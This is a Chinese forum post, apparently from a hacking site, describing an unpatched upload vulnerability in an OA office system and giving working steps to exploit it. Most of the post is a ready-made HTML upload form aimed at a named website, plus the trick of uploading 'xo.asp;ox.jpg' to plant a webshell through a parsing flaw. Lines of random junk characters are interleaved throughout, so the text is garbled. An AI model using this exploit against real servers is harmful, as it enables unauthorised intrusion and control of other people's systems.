全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
8 v# h" e: c6 a- O8 Z; Z* e  P& \​
+ Y  }9 x) U$ X6 }+ K1 {6 ?3 T系统介绍：

1 Z: z( o6 i1 u6 K0 I* r& A- q全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。
8 M/ {! p& ^3 j
5 ?0 I' h2 P- p  C: l. a! D主要功能：
公司通告
% l3 e, `) y) v5 d3 u' _工作计划
! l( R) {3 q! H/ y- }通讯助理
客户资源
我的公文
公文传阅
% ]6 z6 N6 _6 C+ C公共资源
资源预约
今日考勤
个人计划
: k# ^9 D6 `) V+ s& w6 m个人通讯录
+ f9 q1 f! l; h5 w6 J' k$ n9 G个人基本档案
5 N5 f( K* P9 {$ V' w5 W; q未读邮件
0 y. L0 c* n& d- ^: R发邮件
收件夹
, M! s5 g$ ~& V$ p寄件夹
网络硬盘
6 S) _, `$ [  ^4 D/ }网络会议
网络调查
, H5 M; ^2 U% p8 [, D9 D) h交流论坛

8 h1 ^3 D' w; X' c- W; j有兴趣测试的朋友可以下源码看看

源码下载：
4 \# A* D' [5 r
) U( U  ]7 O% e1 Y: f/ xhttp://www.mycodes.net/30/4750.htm
% |, O" H$ c" o! P: M' f* y9 F
8 i  |# N& j4 V8 j$ p- X' F漏洞介绍：
. Q* J) I4 m+ G3 g
由upfile.asp上传文件漏洞引起
# `4 T5 [. w$ S( N, C
测试方法：

; m4 h/ Y( ~4 t5 Z: m+ F; M& Q使用名小子上传http://www.itlynn.com/upfile.asp即可

  f, N3 E+ {7 @9 ^1 Z1 a6 o2 K如果upfile.asp文件被删除不存在。
8 h: p4 V* t, ~, q. r
& i$ R( ]; [$ G! N) ^* F% \- @! w  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

如果存在那么将如下代码保存为upfile.html。
2 `4 p5 {- o% @& \6 P
然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。

5 p2 q3 |5 P" t1 a5 m( H+ U
' F  b& a0 I9 Q: A" z# o
01 <table border='0' align="center" cellpadding="5">
9 _/ Q4 e! t" l+ y
6 [1 O4 @) W" P& E% d. ~% e02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

03 <tr>
0 M+ x7 {# D  w) U; u
' V2 x$ P' f! ^1 S04             <td>报错：</td>
% W& B# _' r  W- {: v. r  D: W
05             <td><input type='radio' name='errnumber' value='0'>
6 f, H5 E$ `" w2 D9 _' ?7 W$ W5 ~+ p
. a  S+ g( Q9 D! E06               自动更名

* U2 d2 I; b9 v4 g7 s8 g! v07               <input type='radio' name='errnumber' value='1' checked>
- O, B7 ~# \; s# D
% W( v" H0 a4 `) P# {4 ~08               报错方式

09               <input type='radio' name='errnumber' value='2'>

10               直接覆盖</td>
$ ~% |6 g* N* G) @7 l2 K* [+ ^: J
4 ?. b$ o! a* X11           </tr>
: t0 \: E- F5 p7 M# Z/ h
12           <tr>
+ {& i, H, |2 S% d4 i1 P8 {  n6 P
13             <td>主题：</td>
4 W7 G( U+ P' `! c! Z5 y
14             <td><input type='text' name='filename' size='30'></td>

6 u5 ^7 v# C6 ]: C% q15           </tr>
! Y- p1 y9 p4 I
7 S2 k) {' z1 m9 J2 ~: y- Y. `, i* c) W16           <tr>

5 _/ e, _5 i9 z) l+ Z# U% ]/ c% V17             <td>文件：</td>

9 T6 d1 C$ G+ y4 Y5 ^. F3 n18             <td><input type="file"name="fruit"size="30"></td>
6 N+ b) w; ^% w7 w0 S7 G1 D
19           </tr>

" J0 ~/ O: m5 W& I  f8 F, D20           <tr>
6 ~  J6 {% G5 z( n
21             <td valign='top'>简介：</td>
( Q' w! X/ Y2 S' @1 ?+ [: U
22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

5 a1 j( P8 G; P+ `23           </tr>
6 ^  [5 h2 ?0 U' _5 ]
8 [6 }4 U) b; o! N7 F7 }) o24   
+ ^2 m: e% ~: Q, T8 w6 a9 Z6 Y
9 D* M& j# x3 w& s25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
% Z5 u- l( r- L2 J; {) q6 B; _
26           </tr>

27         </form>

然后打开上传一个文件名为xo.asp;ox.jpg的文件。
; u1 Y+ j: L+ `# @5 C9 v

  S. g0 t5 S( W( w* ]4 E
7 ]0 a4 c. q. u$ E) ^) I( a8 C) O上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg

此漏洞需要配合解析漏洞利用。

- a& x% a9 r. `1 q  K  M4 M0 R